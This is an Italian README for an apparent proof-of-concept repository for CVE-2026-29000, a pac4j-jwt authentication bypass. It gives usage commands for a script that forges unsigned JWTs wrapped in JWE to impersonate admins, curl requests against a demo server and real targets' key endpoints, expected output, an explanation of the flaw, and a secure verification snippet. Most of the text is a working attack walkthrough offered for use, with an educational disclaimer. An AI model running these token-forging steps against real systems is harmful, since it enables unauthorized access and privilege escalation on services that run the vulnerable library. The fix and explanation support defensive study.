
Exploit per CVE-2026-29000, un bypass dell'autenticazione JWT in pac4j-jwt tramite PlainJWT avvolto in JWE, che consente la falsificazione dei token e l'escalation dei privilegi.
Bypass dell'autenticazione JWT in pac4j-jwt tramite PlainJWT avvolto in JWE
CVE-2026-29000 è una vulnerabilità critica di bypass dell'autenticazione che interessa le versioni di pac4j-jwt precedenti alla 4.5.9, 5.7.9 e 6.3.3. La vulnerabilità consente a un attaccante remoto di falsificare token di autenticazione e bypassare la verifica della firma.
La vulnerabilità risiede nel componente JwtAuthenticator durante l'elaborazione di JWT cifrati (JWE). Quando viene ricevuto un token JWE:
exploit.py - Script Python per generare token malevolivulnerable_server.py - Server dimostrativo che simula la vulnerabilitàrequirements.txt - Dipendenze PythonREADME.md - Questo file# Clona il repository
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# Installa le dipendenze
pip3 install -r requirements.txt
python3 vulnerable_server.py
Il server:
server_private.pem e server_public.pem)In uno scenario di attacco reale, ottieni la chiave pubblica dal server target:
# Scarica la chiave pubblica dall'endpoint JWKS
curl http://target-server.com/jwks > target_jwks.json
# Oppure dall'endpoint diretto della chiave pubblica
curl http://target-server.com/public-key > target_public.pem
Per il server di test:
curl http://127.0.0.1:5000/public-key > server_public.pem
Usa lo script exploit per creare un PlainJWT avvolto in JWE:
# Utilizzo base - autenticati come admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# Autenticati come utente specifico con più ruoli
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# Aggiungi claim personalizzati
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# Salva il token su file
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# Imposta il token malevolo (copia dall'output di exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# Accedi all'endpoint pubblico (dovrebbe funzionare)
curl http://127.0.0.1:5000/api/public
# Accedi all'endpoint utente con il token malevolo (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# Accedi all'endpoint admin con il token malevolo (ESCALATION DEI PRIVILEGI!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Output atteso di successo dall'endpoint admin:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. Installa le dipendenze
pip3 install -r requirements.txt
# 2. Avvia il server vulnerabile (nel terminale 1)
python3 vulnerable_server.py
# 3. In un nuovo terminale, ottieni la chiave pubblica
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. Genera il token admin malevolo
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. Estrai il token in una variabile
TOKEN=$(cat token.txt)
# 6. Testa l'endpoint pubblico (baseline - nessuna autenticazione richiesta)
curl http://127.0.0.1:5000/api/public
# 7. Testa l'endpoint utente (dovrebbe riuscire con il nostro token malevolo)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. Testa l'endpoint admin (SUCCESSO DELL'EXPLOIT - dovrebbe accedere ai dati riservati)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. Verifica che la risposta contenga la flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Genera token PlainJWT malevoli avvolti in JWE
options:
-h, --help mostra questo messaggio di aiuto ed esci
--subject SUBJECT, -s SUBJECT
Soggetto (nome utente) da impersonare
--roles ROLES, -r ROLES
Elenco di ruoli separati da virgola (es. ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Percorso del file PEM della chiave pubblica RSA
--claims CLAIMS, -c CLAIMS
Claim aggiuntivi come stringa JSON
--generate-keypair, -g
Genera una coppia di chiavi RSA di test e salvala su file
--output OUTPUT, -o OUTPUT
File di output per il token generato
1. Il client invia un JWT con firma
2. Il server verifica la firma con la chiave pubblica
3. Se valido, estrae i claim
4. Concede l'accesso in base ai claim
1. L'attaccante ottiene la chiave pubblica RSA del server
2. L'attaccante crea un PlainJWT (alg: none) con claim arbitrari
Esempio: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. L'attaccante cifra il PlainJWT usando JWE con la chiave pubblica del server
4. Il server decifra il JWE con successo
5. Il server estrae i claim dal PlainJWT interno SENZA verifica della firma
6. Il server concede l'accesso in base ai claim falsificati
La vulnerabilità si verifica perché:
def verify_jwe_token_secure(token, private_key):
# 1. Decifra il JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. Analizza l'header del JWT interno
header = parse_jwt_header(inner_jwt)
# 3. CRITICO: Verifica che l'algoritmo non sia "none"
if header.get('alg') == 'none':
raise SecurityError("PlainJWT non consentito")
# 4. CRITICO: Verifica la firma del JWT interno
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Firma JWT non valida")
# 5. Estrai i claim solo dopo la verifica
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# Configurazione e test in un'unica riga
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Test dell'exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questo strumento solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
Licenza MIT - Solo per scopi educativi
Ricercatore di sicurezza Data: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}